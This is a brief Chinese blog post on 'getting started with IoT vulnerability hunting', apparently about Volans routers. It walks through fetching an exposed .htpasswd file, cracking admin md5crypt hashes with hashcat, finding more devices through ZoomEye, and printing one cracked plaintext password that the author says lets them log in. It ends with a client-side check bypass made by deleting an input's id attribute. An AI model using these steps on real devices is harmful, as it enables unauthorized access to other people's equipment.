IOT漏洞挖掘入门

原创

一日无聊，发现一篇文章

https://www.52pojie.cn/thread-367479-1-1.html

看评论是乌云 14年8月提交的漏洞。

于是进一步分析一下。

首先拿到

http://地址/.htpasswd

admin:$1$$xAjuh7utDUp3xXVqThWzp/

在hashcat中进行破解

```
Session..........: hashcat
Status...........: Running
Hash.Type........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$$xAjuh7utDUp3xXVqThWzp/
```

嗯，跑了几分钟，没有跑出来。反正跑出来也没啥用。

于是上zoomeye关键词volans又找到一枚新的

hashcat -m 500 '$1$$U6YTLx/HR47ETGUJaIT/f/' xxxx

$1$$U6YTLx/HR47ETGUJaIT/f/:fan1314520

不错，已经可以登陆进去了。

修改元素属性，删除input中的id值，即可绕过检测。